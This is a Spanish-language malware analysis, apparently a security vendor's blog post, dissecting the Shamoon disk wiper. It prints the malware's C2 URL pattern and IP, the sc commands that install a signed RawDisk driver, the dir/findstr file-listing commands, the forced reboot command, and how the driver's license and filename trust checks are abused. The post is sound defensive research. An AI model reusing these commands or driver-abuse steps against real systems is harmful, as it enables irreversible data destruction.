Shamoon el limpiador: más detalles (Parte II)

Los medios de comunicación han estado diciendo que el malware que elimina datos, Shamoon, sobre el que ya hemos hablado en esta entrada , está asociado con los ataques contra Saudi Aramco .

La fecha que se incluye en el cuerpo del malware encaja perfectamente con la declaración de un grupo de hackers sobre la fecha y hora del ataque a la compañía Saudi Aramco, pero no podemos confirmar con certeza que se puede culpar a Shamoon por esos ataques.

Y sólo dos semanas después, otra compañía de energía en el medio oriente (RasGas) fue víctima de otro ataque de malware, y los medios comenzaron a preguntarse si Shamoon tenía algo que ver.

Dejaremos la especulación para otros y nos limitaremos a compartir detalles técnicos. Esta es la continuación de nuestra investigación sobre Shamoon:

NETINIT.EXE

El módulo principal de Shamoon tiene un recurso PKCS7:113 que mantiene un ejecutable que se guarda en el disco como %WINDIR%System32NETINIT.EXE, y este programa coloca un módulo para comunicarse con el Control Numérico por Computarizado (CNC). El programa espera a que le envíen los parámetros para su ejecución. El autor no fue muy creativo y codificó el manejo de solo dos valores de argumentos que pueden ser “0” o “1”.

Si es “0”, el programa toma un segundo argumento y lo trata como si fuesen datos que deben pasarse al CNC. Con este valor de argumento, el malware se conecta con el CNC sólo una vez y deja de ejecutarse. No hemos encontrado ningún lugar en el código Shamoon en el que se pueda ejecutar netinit.exe con el argumento “0”.

Pero como recordarás, encontramos un lugar en el que se ejecuta netinit.exe con la línea de comando “netinit.exe1”. Esto hace que el programa entre en un bucle hasta que otro módulo destructivo cree un archivo %WINDIR% infnetfb318.pnf para indicar que ha llegado la hora de borrar los datos y destruir el sistema operativo. Mientras netinit.exe espera las instrucciones de este archivo, se conecta reiteradamente con el CNC para recibir órdenes.

Comunicación

La dirección del CNC está integrada en el código fuente (hardcoded). En realidad hay dos direcciones: una cadena “inicio” y una dirección IP. Primero, el programa trata de conectarse al “inicio” pero, por supuesto, no pudo hacerlo desde mi lado. Después utiliza la dirección IP “10.1.252.19”. Para comunicarse, se utiliza el protocolo HTTP con la ayuda de funciones de una biblioteca Wininet estándar: InternetOpen, InternetOpenUrl, InternetReadFile… y, por supuesto, InternetCloseHandle. Este es el formato de la URL que se utiliza para conectarse:

http://<cnc>/ajax_modal/modal/data.asp?mydata=<_iteration>&uid=<local IP>&state=<random number>

por ejemplo

http://10.1.252.19/ajax_modal/modal/data.asp?mydata=_3&uid=192.168.150.130&state=1568062

El módulo de comunicación Shamoon espera a que el CNC le de dos órdenes. Estos comandos son: ejecutar un programa arbitrario; o establecer un tiempo para “terminar el juego”. El programa que se va a ejecutar se envía desde el CNC y la respuesta se codifica con BASE64. El programa se decodifica, se descarga como %WINDIR%Tempfiler.exe y se ejecuta. Esto funcionaría bien en un mundo perfecto.

Pero, en la realidad, esta parte del módulo de comunicación de Shamoon no funciona para nada. Esto es porque un autor cometió otro error ridículo (además de fallar en la comparación de las fechas). El autor quería crear una ruta completa al archivo “filer.exe” con la función “sprint”, donde debería haber utilizado el siguiente formato en su cadena de caracteres:

“%s%s%d.%s” con estos parámetros: Cadena de la carpeta de Windows, cadena “Tempfiler”, número aleatorio y cadena “exe”.

Pero, en vez de eso, el escritor utilizó “%S%S%d.%s”, con una “S” mayúscula. Esto causa fallas en la función “sprint” y evita que se cree una ruta completa. El error en la ruta hace que no se descargue ningún archivo. Sin el archivo, no hay nada que ejecutar. Por eso, el malware Shamoon no puede ejecutar otros programas.

La gestión del segundo comando se codificó sin errores y, si el CNC pasa algún un código de control, netinit.exe crea el archivo %WINDIR%inf netft429.pnf, en el que escribe la fecha y hora en la que Shamoon comenzará la rutina de corrupción en vez de tenerla fija. Ya hemos hablado del módulo principal de Shamoon que busca este archivo para conocer la nueva fecha de destrucción.

Sigamos con el siguiente módulo:

PKCS12:112

Otro recurso en el módulo principal de Shamoon es PKCS12:112. Mantiene un ejecutable codificado guardado en el disco utilizando un nombre que toma de una lista en la carpeta %WINDIR%System32. Este módulo está a cargo de la funcionalidad destructiva de Shamoon y se ejecuta cuando llega la hora de atacar.

El programa también espera a que se ejecuten argumentos, pero los argumentos no tienen mucho efecto en la ejecución del programa: Toda la funcionalidad puede funcionar sin argumentos, por lo que no le prestamos mucha atención.

El módulo destructor tiene un recurso READONE :101. Este es un controlador codificado que se guarda en el disco como %WINDIR%System32DriversDRDISK.SYS y opera en la fase inicial de la ejecución del módulo destructor.

sc create drdisk type= kernel start= demand binpath= System32Driversdrdisk.sys 2>&1 >nul

sc start drdisk 2>&1 >nul

El controlador es un componente firmado de RawDisk, un producto de Google Eldos . En resumen, este programa permite que las aplicaciones en modo de usuario operen con el sistema de archivos cuando el sistema operativo restringe la aplicación. Puedes integrar tu proyecto con RawDisk de tal forma que tu programa instale el controlador que ofrece el acceso al sistema de archivos desde el modo kernel mediante el dispositivo “ElRawDisk”.

Por supuesto, al principio se necesitarán privilegios de administrador para instalar el controlador, pero después tu aplicación puede funcionar con el sistema de archivos sin que nada la obstaculice, utilizando los privilegios que tenía tu aplicación cuando se lanzó.

Desde el punto de vista de la seguridad, esta funcionalidad es controvertida. En la mayoría de los casos, el sistema operativo bloquea el acceso a objetos por buenas razones. Si se debe otorgar acceso a una aplicación para que realice operaciones peligrosas, el usuario debe otorgarlo ejecutando la aplicación desde la cuenta de administrador, por ejemplo. En algunos casos administrativos y para solucionar problemas, es útil tener acceso al sistema de archivos mediante el modo kernel, hasta para las aplicaciones que se ejecutan desde la cuenta de administrador. Parece que el software está diseñado para estos casos pero, por supuesto, es mucho mejor que el usuario sepa lo que hace.

El módulo destructivo corrompe los archivos de forma selectiva. El programa ejecuta las siguientes líneas de comandos para hacer un listado de archivos:

dir “C:Documents and Settings” /s /b /a:-D 2>nul | findstr -i download 2>nul >f1.inf
dir “C:Documents and Settings” /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i download 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i picture 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i video 2>nul >>f1.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i music 2>nul >>f1.inf
dir “C:Documents and Settings” /s /b /a:-D 2>nul | findstr -i desktop 2>nul >f2.inf
dir C:Users /s /b /a:-D 2>nul | findstr -i desktop 2>nul >>f2.inf
dir C:WindowsSystem32Drivers /s /b /a:-D 2>nul >>f2.inf
dir C:WindowsSystem32Config /s /b /a:-D 2>nul | findstr -v -i systemprofile 2>nul >>f2.inf
dir f1.inf /s /b 2>nul >>f1.inf
dir f2.inf /s /b 2>nul >>f1.inf

Como consecuencia, se crean dos archivos, “f1.inf” y “f2.inf”, en %WINDIR%System32, con los nombres de los archivos y rutas completas que se llenan con basura. La basura incluye un fragmento (1024/0x400 los primeros bytes) de una imagen JPEG de una bandera estadounidense quemándose:

Parece que se consiguió esta imagen en Wikipedia. El sitio tiene esa misma imagen con el nombre “US_flag_burning.jpg” .

Al parecer, la pista se dejó allí para que sea fácil encontrarla.

La rutina de corrupción es superflua: se reitera muchas veces al llenar los archivos con fragmentos cada vez más iguales, uno después del otro, aumentando así el tamaño de los archivos. Esto culmina en que se sobrescribe el disco duro con el patrón JPEG que mencionamos. Esto hace que se corrompa la sección MBR del disco duro y el ordenador infectado deje de arrancar.

El programa también trata de leer los valores SystemBootDevice o FirmwareBootDevice desde la ruta de registro HKLMSYSTEMCurrentControlSetControl. Si los lee, busca allí las entradas “rdisk” y “partition”. El módulo destructor intenta abrir las siguientes particiones de forma predeterminada:

?ElRawDiskDeviceHarddisk[1-9]Partition[0-9]

Pero si se encuentran los valores mencionados en el registro, el programa trata de abrir objetos con los valores de los discos y particiones.

Parece que los autores de Shamoon se toparon con el mismo problema que los autores de Wiper . Hoy en día, toma mucho tiempo llenar todo un disco, aunque sea con datos fijos. Para limpiar todo con mayor eficacia y en menos tiempo, no hace falta borrar todos los datos, sino reescribir partes dispersas en todo el disco. Los autores de Wiper completaron esta tarea de una forma relativamente inteligente, mientras que en Shamoon se hace de una manera más tosca.

Por último, al final, el módulo destructivo de Shamoon abre un dispositivo con ?ElRawDiskDeviceHarddisk0Partition0 y comienza a escribir 0x30000 bytes de fragmentos JPEG uno después del otro, moviendo un puntero de archivo hasta una fracción calculada de la capacidad del disco (por ejemplo, en mi VM con 3GB de disco duro virtual, el valor calculado era de 0x1000000 bytes, unos 16 MB).

Es difícil predecir qué datos se perderán de forma irreversible y cuales seguirán intactos después de la “limpieza” – depende del tamaño de los archivos guardados en el ordenador infectado y de cómo estén distribuidos en el disco duro. Al final de esa última operación dañina, el malware lanza el comando “shutdown -r -f -t 2” para obligar al equipo a reiniciarse, si no lo hizo antes mientras se destruían los datos en las áreas del disco críticas para su funcionamiento.

El controlador Eldos

Es bastante confuso que los creadores de Shamoon hayan utilizado controladores firmados del programa RawDisk de Eldos. Al principio pensamos que lo hicieron para poder reescribir el MBR en general, por ejemplo, en Windows 7, pero resulta que Windows 7 otorga acceso a esa sección del disco hasta a las aplicaciones del modo de usuario que se ejecutan como administrador. Pero, para poder funcionar bien, Shamoon también debe ejecutarse con privilegios de administrador (por lo menos para instalar el controlador), por lo que la razón por la que el autor de Shamoon decidió explotar un controlador legítimo sigue siendo un misterio.

La comunidad de seguridad ya hizo notar que los hackers maliciosos pueden explotar características implementadas en aplicaciones legítimas de modo kernel fuera del modo de usuario si los controladores no tienen suficiente autentificación. Veamos cómo hizo el autor de Shamoon para utilizar la funcionalidad de controlador de Eldos.

Puedes descargar un paquete de prueba de RawDisk de Eldos que contiene archivos de encabezado, archivos lib/dll y controladores x86 y x64 compilados en modos de lanzamiento y reversión de errores. Puedes integrar el blanco de RawDisk con tu proyecto, que después podría utilizar el acceso en modo kernel en el sistema de archivos mediante el controlador RawDisk. Pero el controlador tiene un mecanismo de autentificación.

Veamos más de cerca la función “Open” de RawDisk API:

HANDLE Open(IN LPCWSTR DeviceName, IN DWORD DesiredAccess, IN LPCWSTR LicenseKey)

…Se puede ver un parámetro “LicenseKey”. Esta llave aparece en Shamoon. Cuando el módulo destructor trata de abrir el descriptor del archivo en el dispositivo ElRawDisk, agrega una cadena de caracteres al nombre del dispositivo que parece una llave, por ejemplo:

?ElRawDiskDeviceHarddisk0Partition0#8F71FF7E2831A05D0B88FDAACFAC818E936FCAAA453404180419662BED76E9D70384F056F03ADF3C917CB8C3EE12832F7A7EC3E234BC7FBD0476CFC9F58AC1A1C248DA06E531D133A071

Una llave así se obtiene con facilidad solicitándola en el sitio de Eldos durante la instalación de RawDisk:

Llenas un formulario para recibir la llave de evaluación y recibes tu código en el correo que utilizaste para registrarte. Puedes utilizarla por un periodo de tiempo limitado. Y el controlador verifica si la fecha de la versión de prueba ya ha caducado. Es por eso que cada vez vemos una fecha diferente al abrir un dispositivo ElRawDisk en el malware Shamoon: se cambia la fecha a un día (escogido al azar) entre el 1. y el 20 de agosto de 2012.

También notamos que el controlador Eldos que explota Shamoon busca los siguientes valores en el parámetro del nombre del dispositivo, que puede estar ubicado al principio de la cadena:

#{9A6DB7D2-FECF-41ff-9A92-6EDA696613DF}#
#{8A6DB7D2-FECF-41ff-9A92-6EDA696613DE}#

Son códigos de control para que el controlador defina cómo manejar una solicitud. Pero el malware Shamoon no utiliza estos códigos para llamar a la función abierta RawDisk.

Además, el controlador revisa si el nombre del archivo del programa que funciona con el sistema de archivos mediante el controlador corresponde a “RawDiskSample.exe” y “considera” que la llamada se ha realizado desde una aplicación de confianza. Esto impide cualquier otro intento de verificación para evitar que quienes no tienen permiso usen la funcionalidad del controlador. Sin duda es mejor eliminar esta condición de los controladores.

Conclusiones

Encontramos pistas que indican que quienes crearon el malware Shamoon no son programadores reconocidos, y sus errores hacen notar que son novatos, aunque novatos hábiles que lograron crear un programa destructivo autorreplicable bastante factible. El hecho de que usara la imagen de una bandera estadounidense en llamas podría denotar que los autores crearon el malware para utilizarlo con razones políticas. Es más, querían que su protesta, que estaba incluida dentro del malware, no pase desapercibida.

Por desgracia, vemos que las alertas sobre programas maliciosos que utilizan aplicaciones legítimas del modo kernel son reales y no una cuestión de paranoia. Los desarrolladores de dispositivos siempre deben tener en mente que los cibercriminales y otros escritores de malware suelen buscar formas disimuladas para ingresar al Ring0 del sistema.

Los controladores legítimos, y sobre todo los firmados, que se pueden utilizar con propósitos maliciosos son oro para ellos. Está claro que evitar que las aplicaciones que no son de confianza ingresen en los controladores no es una tarea obvia, pero muchos cibercriminales lo han hecho y han implementado métodos sofisticados de autentificación de códigos, verificación de llamadas y cuestiones similares.

Hoy en día no es suficiente poner condiciones obvias y simples en un código que se puede burlar con facilidad, esto no funciona. Sin duda, no es agradable que tu programa acabe usándose en campañas maliciosas por su baja seguridad. Es mejor hacer lo posible por adelantado para evitarlo.